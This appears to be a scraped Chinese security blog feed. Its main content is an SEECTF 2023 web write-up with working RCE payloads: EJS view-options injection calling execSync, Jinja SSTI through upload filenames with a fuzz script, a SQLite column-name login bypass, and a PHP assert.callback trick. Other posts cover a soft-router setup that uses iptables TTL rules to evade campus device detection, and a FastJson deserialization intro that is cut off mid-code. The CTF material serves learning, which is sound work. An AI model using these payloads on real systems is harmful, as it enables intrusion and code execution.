odyssey 最终是 110 格网格串行盲试、第 27 次命中。能用，但难看：27 次提交、每次 sleep 10 秒。事后拿到官方题解才发现中景那栋白楼就是博物馆，查坐标一次提交的事。盲试是兜底手段，不是解法。

Agent 的历史也要能审计

第一轮给博文做模型归属时，发现 rollout 日志在上下文压缩后缺了 GLM 时代—— 只有 db 里全量在。为此给 agent-chat-history 技能补了 --session 模型时间线查询。第二轮更进一步：每个子 agent 的断点按"已确凿的事实 / 当前假设与排除面 / 下一步（优先级）“分节落盘，中断可续、赛后可复盘——speedy 的事件识别就是中断 agent 留下的完整成果，直接被主 agent 接手。agent 自己产出的历史，和 CTF 里的事件日志一样，要能回查、能对账。

结尾

35 题解出 29（Web/Crypto/Pwn/Rev 四个分类全清），两轮两种打法：第一轮三个模型接力（GLM-5.3 前半场、DeepSeek 收尾、GPT-5.6-sol 补两道看图题），第二轮主 agent 编排 + 子 agent 流水线 13 解（侦察/附件预下载/排序派单/验收/总表与 ≤3 并发滑窗、40 分钟时间盒、断点落盘续派、实例串行令牌）。未解的 6 题全是视觉/听觉，断点全部落盘待续攻。协作里的短板——视觉、问题定义漂移、攻击面清单化、判定信号对照组——比题目本身更值得记。完整过程（每题的 WRITEUP、全部脚本、6 题断点、23 条踩坑）在本地 gaslightCTF2026/ 目录，每题一个文件夹；可迁移经验沉淀在 gaslightCTF2026/METHODOLOGY.md。

SEECTF 2023 题解（Web）

Mon, 12 Jun 2023 00:00:00 +0000

SEECTF 2023 题解（Web）

关键字：ejs，php.ini，ini_set，sqlite3，ssti

ctftime：https://ctftime.org/event/1828

Express JavaScript Security

核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


app.get('/greet', (req, res) => {
 
 console.log(req.query);
 const data = JSON.stringify(req.query);
 console.log(data);

 if (BLACKLIST.find((item) => data.includes(item))) {
 return res.status(400).send('Can you not?');
 }

 return res.render('greet', {
 ...JSON.parse(data),
 cache: false
 });
});

题目构造很简单，使用的是最新版的ejs和express

"dependencies": {
 "express": "^4.18.2",
 "ejs": "^3.1.9"
},

我们可以给render塞任意参数，需要达到一个RCE的目的

debug运行一下程序，给render下一个断点，跟进一下代码

调用栈

render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:571)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

看到一个merge函数，猜测存在原型链污染漏洞

这里的merge是var merge = require('utils-merge');导入的

经过测试发现并不能污染到原型

查看utils-merge中的函数，是直接进行拷贝，无法直接对原型进行修改

原型链污染这条路断了，我们继续看render的参数怎么工作

这里将传入的参数赋值给data

exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:475)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\view.js:135)
tryRender (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:657)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:609)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

这里如果 data.settings['view options'] 存在值，则会将 data.settings['view options'] 的值拷贝给opts

继续跟进代码，opts的值会传递给options

Template (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:510)
compile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:397)
handleCache (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:235)
tryHandleCache (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:274)
exports.renderFile (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\ejs\lib\ejs.js:491)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\view.js:135)
tryRender (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:657)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\application.js:609)
render (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\node_modules\express\lib\response.js:1039)
<anonymous> (\mnt\d\Desktop\security\ctf2023games\SEETF2023\dist_express-javascript-security_31d3740ae934682d8c36d3a3182c29981e0c9909\main.js:29)
.............

然后继续传递到compile

这里就是比较熟悉的原型链污染触发的地方，所有我们可以通过设置data.settings['view options']的值来控制opts，进而控制options，达到和原型链污染差不多的效果

存在黑名单

1
2
3
4
5
6


const BLACKLIST = [
 "outputFunctionName",
 "escapeFunction",
 "localsName",
 "destructuredLocals"
]

参考：https://www.anquanke.com/post/id/236354#h2-2 的链子

1

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

观察Template，我们发现通过设置opts.escape的值来设置options.escapeFunction，来绕过黑名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


opts = opts || utils.createNullProtoObjWherePossible();
var options = utils.createNullProtoObjWherePossible();
this.templateText = text;
/** @type {string | null} */
this.mode = null;
this.truncate = false;
this.currentLine = 1;
this.source = '';
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;

最终payload

/greet?settings[view options][escape]=1; return global.process.mainModule.constructor._load('child_process').execSync('/readflag');&settings[view options][client]=true&settings[view options][compileDebug]=true&settings[view options][debug]=true

拼接代码，任意代码执行

file uploader 1

存在漏洞点

如果fileext不在白名单中，会将文件名拼接到template中然后渲染返回

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
 if request.method != 'POST':
 return redirect(url_for('profile'))
 
 # check if the post request has the file part
 if 'file' not in request.files:
 return redirect(url_for('profile'))
 file = request.files['file']

 # If the user does not select a file, the browser submits an empty file without a filename.
 if file.filename == '':
 return redirect(url_for('profile'))
 
 fileext = get_fileext(file.filename)

 file.seek(0, 2) # seeks the end of the file
 filesize = file.tell() # tell at which byte we are
 file.seek(0, 0) # go back to the beginning of the file

 if fileext and filesize < 10*1024*1024:
 if session['ext'] and os.path.exists(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext'])):
 os.remove(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext']))
 session['ext'] = fileext
 filename = session['uuid']+"."+session['ext']
 file.save(os.path.join(UPLOAD_FOLDER, filename))
 return redirect(url_for('profile'))
 else:
 template = f"""
 {file.filename} is not valid because it is too big or has the wrong extension
 """
 l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] 

 l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']
 

 for i in l1:
 if i in template.lower():
 print(template, i, file=sys.stderr)
 template = "nice try"
 break
 matches = re.findall(r"['\"](.*?)['\"]", template)
 for match in matches:
 print(match, file=sys.stderr)
 if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
 template = "nice try"
 break
 for i in l2:
 if i in match.lower():
 print(i, file=sys.stderr)
 template = "nice try"
 break
 return render_template_string(template)

绕过他的黑名单即可

参考：https://xz.aliyun.com/t/9584#toc-3

fuzz类的索引

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import requests

url = 'http://172.21.28.13:29384/upload'
headers = {
 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarymTsANkoKLXBfBT6f',
 'Cookie': 'session=eyJleHQiOm51bGwsInV1aWQiOiJmY2RmNmE3Yi05ODE1LTQwMWYtYjg1Yy04Y2Y2NDIwZGRiZDAifQ.ZIYSxA.aOmD_eFJ9hZm2YAJdrdH5Ttw15o'
}

payload = '{% print([].__class__.__bases__[0].__subclasses__()[num]) %}'
for i in range(300):
 payload = '{% print([].__class__.__bases__[0].__subclasses__()['+str(i)+']) %}'
 data = f'''------WebKitFormBoundarymTsANkoKLXBfBT6f
Content-Disposition: form-data; name="file"; filename="{payload}"
Content-Type: text/plain

import re

------WebKitFormBoundarymTsANkoKLXBfBT6f--
'''

 response = requests.post(url, headers=headers, data=data)
 if "_frozen_importlib_external.FileLoader" in response.text:
 print(response.text)
 print(data)
 break

读取flag.txt

POST /upload HTTP/1.1
Host: fu1.web.seetf.sg:1337
Content-Length: 268
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fu1.web.seetf.sg:1337
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfagSoQabs4E19Bx8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/xml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fu1.web.seetf.sg:1337/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJleHQiOm51bGwsInV1aWQiOiJhNWExZDRiNC1jMWM3LTQ2YjctYjgxYy0xYjE2YTU0NzE1YmUifQ.ZIYRIw.Se2LPlx0m2oSU42i8_Mz0VjC6kw
Connection: close

------WebKitFormBoundaryfagSoQabs4E19Bx8
Content-Disposition: form-data; name="file"; filename="{% print([].__class__.__bases__[0].__subclasses__()[99].get_data(0, 'flag.txt')) %}"
Content-Type: text/plain

import re


------WebKitFormBoundaryfagSoQabs4E19Bx8--

file uploader 2

存在漏洞的地方

会渲染我们上传的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


@app.route('/uploads/<path:path>')
def viewfile(path):
 if session['filename'] == path:
 try:
 return render_template('static'+'/'+path)
 except:
 return send_from_directory(UPLOAD_FOLDER, path)

 else:
 return redirect(url_for('profile'))

我们只需要构造恶意内容文件，将其上传即可进行类似ssti的操作

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}}

但是在上传文件之前，需要我们进行登录，进行sql查询之前对query进行拼接，但是限制了传入的字符串只能包含大小写字母，数字，花括号，下划线。不能通过闭合引号来进行注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


@app.route('/', methods=['GET', 'POST'])
def login():
 if request.method == 'POST':
 username = request.form['username']
 password = request.form['password']
 pattern = r'[^a-zA-Z0-9{_}]'
 if re.search(pattern, username) or re.search(pattern, password):
 return render_template('login.html', error='Sus input detected!')
 
 query = f'SELECT * FROM users WHERE dXNlcm5hbWVpbmJhc2U2NA = "{username}" AND cGFzc3dvcmRpbmJhc2U2NA = "{password}";'
 try:
 if cur.execute(query).fetchone():
 print("Login successful!")
 session['usersess'] = str(uuid.uuid4())
 session['filename'] = None
 return redirect(url_for('profile'))
 else:
 raise Exception('Invalid Credentials. Please try again.')
 except:
 error = 'Invalid Credentials. Please try again.'
 return render_template('login.html', error=error)
 else:
 return render_template('login.html')

有意思的是在 sqlite3 中，单引号和双引号具有不同的含义，一个指的是一个字符串，另一个指的是一个标识符，一个标识符可以是一个列名，所以它变成像列名=列名

https://www.sqlite.org/lang_keywords.html

只要我们输入的账号密码和users的字段名对上了即可。

登录成功后，上传文件，然后访问文件即可触发ssti执行任意命令

登录：password=cGFzc3dvcmRpbmJhc2U2NA&username=dXNlcm5hbWVpbmJhc2U2NA

echo "{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}}" > 5744f76c-33cd-48d9-8305-8893d0c5b2e1.png

上传图片，访问 uploads/5744f76c-33cd-48d9-8305-8893d0c5b2e1.png 触发ssti

Sourceful Guessless Web

本地搭建环境

在这题中我们可以进行任意次的ini_set($key, $value);

设置一个phpinfo();

看一下php的配置

刚开始看的是

auto_prepend_file

auto_append_file

发现这两个配置不能通过ini_set设置

后面往log这方面看，发现可以设置日志文件，但是并没有产生日志文件，并且网站目录root可写，文件落地方案失败

继续往下看看到 pcre 方面，可以设置pcre.backtrack_limit和pcre.recursion_limit

不认识的配置项直接问chatgpt（很省时间）

pcre.recursion_limit是什么

ChatGPT
pcre.recursion_limit是一个配置项，它用于限制PCRE（Perl Compatible Regular Expressions）引擎在匹配过程中的递归深度。

PCRE是一个功能强大的正则表达式库，广泛用于各种编程语言中，例如PHP。在使用PCRE引擎进行正则表达式匹配时，有些复杂的模式可能会导致递归的发生，即正则表达式引擎在尝试匹配时会自动进入嵌套的子调用。

pcre.recursion_limit配置项用于限制这种递归的深度，以避免在处理过程中出现无限递归的情况。它指定了PCRE引擎在匹配过程中可以进行的最大递归层数。如果达到了该限制，引擎会中止匹配并返回一个错误。

通过调整pcre.recursion_limit的值，可以控制PCRE引擎在匹配过程中所允许的递归深度，以满足具体的需求和安全性考虑。不同的语言和环境可能有不同的默认值和最大值限制。

我们可以通过设置pcre.recursion_limit的值来限制递归深度，我们将其设置为0，则preg_match就会出错，断言失败

没什么用，我们继续往下翻配置

发现assert.callback 另一个关键配置

assert.callback 是一个 PHP 配置选项，用于指定一个回调函数，在断言失败时被调用。断言是一种用于检查代码正确性的技术，通常用于在开发和测试过程中检测代码中的错误和异常情况。在 PHP 中，断言可以通过 assert() 函数来实现。

当 assert() 函数检查到一个失败的断言时，如果设置了 assert.callback 选项，则会调用指定的回调函数，并将断言的信息作为参数传递给它。回调函数可以是一个 PHP 函数或方法的名称，也可以是一个匿名函数。

设置assert.callback我们的函数成功被执行，并且第一个参数是文件名，已知flag是以字符串的形式存在index.php中，我们可以通过读取index.php来读取flag。

还有一个限制就是函数的参数类型需要大于等于3，否则会报错，如highlight_file

通过翻文档的文件操作函数列表发现

readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false

最后构造

?flag=SEE{FAKE_FLAG}&debug=a&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile

软路由折腾记录

Tue, 30 May 2023 00:00:00 +0000

软路由折腾记录

前言：最近在YouTube上刷到挺多科学上网的东西，之前也直接整过代理，就想着买个软路由来捣鼓捣鼓，当然还有很多玩法待开发。

选购

结合YouTube上的推荐视频和自身的需求，我买了电犀牛的R66S，入门还是比较友好的，三百出头

全部的配件：路由器本身，充电器，tf卡32g，读卡器

刷固件

买回来已经自带了固件，但是ssr等等代理软件不自带

电犀牛官网：https://r68s.cn/

我刷了个istoreos固件，官网：https://www.istoreos.com/

刷机流程也比较简单，参考教程：https://doc.linkease.com/zh/guide/istoreos/install_r66s.html

把原本的tf卡取下，插到读卡器接入电脑，插入电脑会让格式化u盘，我瞎点了，进去我的电脑发现出现两个盘，而且是几百兆这种，到计算机管理的磁盘管理下删去分区，再新建一整个分区。。
创建启动盘，我使用的是Rufus，官网地址是：https://rufus.ie/zh/，选择tf卡，选择固件，点开始即可
启动盘创建好后，将tf插回R66S即可，开机进入web界面默认：http://192.168.100.1/ 账号/密码：root/password，ssh密码一样

到此固件就成功刷入了，感觉用tf卡对小白挺友好的，也可以通过web端刷入

拓展功能

istoreos也没有自带ssr这种插件，iStore中也没有

到这个项目中下载插件手动安装：https://github.com/AUK9527/Are-u-ok

R66S的是 aarch64_cortex-a53平台，并不是x86

然后就可以把ssrplus装上了

在实验室中更新机场订阅一直不成功，解决方案：手动添加一个节点，挂上节点后更新

其他拓展：istorex（一个网页主题），AdGuard Home（广告拦截器）

校园网认证

宿舍的网络需要进行认证

经过测试发现，在没有验证时访问一个页面比如：http://www.baidu.com/

返回，其中host_fzu为校园网ip，下面亦然

1

<script>top.self.location.href='http://host_fzu/eportal/index.jsp?get传入一些值包含设备mac值等等'</script>

而校园网认证的login只需要账号密码和设备的信息，可以在上面未认证的html中获取

只需要两个http即可实现校园网认证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


import requests
from bs4 import BeautifulSoup
from urllib.parse import quote
from tqdm import tqdm
from colorama import init, Fore
from datetime import datetime

current_time = datetime.now()
formatted_time = current_time.strftime("%Y-%m-%d %H:%M:%S")
print(f"current time: {formatted_time}\nlog:", end=" :")

host_fzu = ""
userId = ""
password = ""
# proxies = {
# "http": "http://127.0.0.1:8080/"
# }
init() # init colorama


def get_authenticated_url():
 test_con_url = "http://36.152.44.96/"
 r = requests.get(url=test_con_url, timeout=3)
 connected = host_fzu not in r.text
 if connected:
 print(f"{Fore.GREEN}connected.....{Fore.RESET}", end='\r', flush=True)
 return True, ""
 
 soup = BeautifulSoup(r.text, 'html.parser')
 script_tag = soup.find('script')
 authentication_url = script_tag.text.split("'")[1]
 if host_fzu not in authentication_url:
 print(f"{Fore.GREEN}connected.....{Fore.RESET}", end='\r', flush=True)
 else:
 print(f"{Fore.RED}not connected.....{Fore.RESET}", end='\r', flush=True)
 return connected, authentication_url


def post_authenticated_packet(userId, password, queryString):
 authenticated_data = {
 "userId": quote(userId),
 "password": quote(password),
 "service": "",
 "queryString": quote(queryString),
 "operatorPwd": "",
 "operatorUserId": "",
 "validcode": "",
 "passwordEncrypt": "false",
 }
 authenticated_url_login = f"http://{host_fzu}/eportal/InterFace.do?method=login"
 r = requests.post(url=authenticated_url_login, data=authenticated_data)
 json_data = r.json()
 if json_data["result"] == "success":
 print(f"{Fore.GREEN}Authentication succeeded.....{Fore.RESET}", end='\r', flush=True)
 else:
 print(f"{Fore.RED}Authentication failed.....{Fore.RESET}", end='\r', flush=True)


if __name__ == "__main__":
 try:
 connected, queryString = get_authenticated_url()
 if not connected:
 print(queryString)
 post_authenticated_packet(userId, password, queryString)
 except Exception as e:
 print(f"{Fore.RED}An error occurred: {e}{Fore.RESET}", end='\r', flush=True)
 print()

填入信息，执行脚本即可进行校园网认证

在软路由上写入计划任务

在此之前需要安装python3，pip和所需要的包

1
2
3
4
5
6
7


opkg update
opkg install python3
opkg install python3-pip
pip3 install requests
pip3 install beautifulsoup4
pip3 install tqdm
pip3 install colorama

写入计划任务，可以在web端设置，道理一样

* * * * * /usr/bin/python3 /root/school/school.py >> /var/log/school.log
0 18 * * * echo '' > /var/log/school.log

这个计划任务的意思就是，每一分钟执行一次，然后将结果输出到日志中，每天18点清空日志

这个脚本的意思就是，检测是否能够正常访问36.152.44.96（百度），不能的话就提交表单认证

校园网绕过设备检测尝试

参考：

https://xavier.wang/45-suck-shit-lan/

https://www.jja8.cn/article/%E6%A0%A1%E5%9B%AD%E7%BD%91%E5%A4%9A%E8%AE%BE%E5%A4%87%E4%BD%BF%E7%94%A8%E5%90%8C%E4%B8%80%E4%B8%AA%E8%B4%A6%E5%8F%B7%E9%98%B2%E6%A3%80%E6%B5%8B/

成功修改ttl，和软路由隔着一个路由器，所以本地ping出去的ttl要减去两条

1
2


iptables -t mangle -A PREROUTING -i eth0 -j TTL --ttl-set 64
iptables -t mangle -A PREROUTING -i br-lan -j TTL --ttl-set 64

修改ntp，不知道怎么验证。。。

修改ua：Privoxy，修改成功80端口的http流量的ua成功修改，但是添加443端口ua修改失败，应该没证书的原因？SSL…

时不时黑名单十分钟，说明上面不怎么管用呃呃呃

bug

连上第一天，qq的群头像加载不出来，没怎么在意

第二天起床，看看微信公众号推文，公众号推文的图片也加载不出来，起床排查

以为是昨晚捣鼓绕过校园网导致的，把配置一步一步改回去，没有效果，重置路由器，可以成功加载图片，但是在我装几个插件后又不能使用，再重置，不能加载图片，查看图片的地址，手动ping，ping不通，到R66S上面ping，ping不通，但是可以通百度等等。。。云主机ping，可以ping通，于是确实是DNS的问题，更换dns服务器为阿里公共DNS：223.5.5.5和223.6.6.6，解决问题

脚本bug，修改dns后，在未认证下，找不到百度的host，于是乎我把脚本中的域名换为ip

FastJson 反序列化

Tue, 25 Apr 2023 00:00:00 +0000

FastJson 反序列化

1. 什么是fastjson?

fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。

2. fastjson的优点

速度快，使用广泛，测试完备，使用简单

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化

3. 下载和使用

配置maven依赖

1
2
3
4
5


<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.24</version>
</dependency>

序列化与反序列化

Main.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.Date;

/**
 * @author L1ao
 * @version 1.0
 */
public class Main {
 public static void main(String[] args) {
 Person person = new Person(15, "L1ao", new Date());
 String jsonOutput= JSON.toJSONString(person, SerializerFeature.WriteClassName);
 System.out.println(jsonOutput);
 String jsonInput = "{\"age\":15,\"dateOfBirth\":1682316963541,\"fullName\":\"L1ao\"}";
 String jsonInput2 = "{\"@type\":\"org.example.Person\",\"age\":15,\"dateOfBirth\":1682317227768,\"fullName\":\"L1ao\"}";
 Person newPerson = JSON.parseObject(jsonInput, Person.class);
 System.out.println(newPerson.getFullName());
 JSONObject newPerson2 = JSON.parseObject(jsonInput2);
 System.out.println(newPerson2.get("fullName"));
 }
}

Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


package org.example;

import java.util.Date;

/**
 * @author L1ao
 * @version 1.0
 */
public class Person {
 private int age;


 private String fullName;


 private Date dateOfBirth;

 public Person() { //注意反序列化时为对象时，必须要有默认无参的构造函数，否则会报异常
 }

 public Person(int age, String fullName, Date dateOfBirth) {
 super();
 this.age = age;
 this.fullName = fullName;
 this.dateOfBirth = dateOfBirth;
 }

 public int getAge() {
 return age;
 }

 public String getFullName() {
 return fullName;
 }

 public Date getDateOfBirth() {
 return dateOfBirth;
 }

 public void setAge(int age) {
 this.age = age;
 }

 public void setFullName(String fullName) {
 this.fullName = fullName;
 }

 public void setDateOfBirth(Date dateOfBirth) {
 this.dateOfBirth = dateOfBirth;
 }
}

分析序列化过程（参考知识星球中的来分析一下各种情况下getter和setter的效果）

User.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
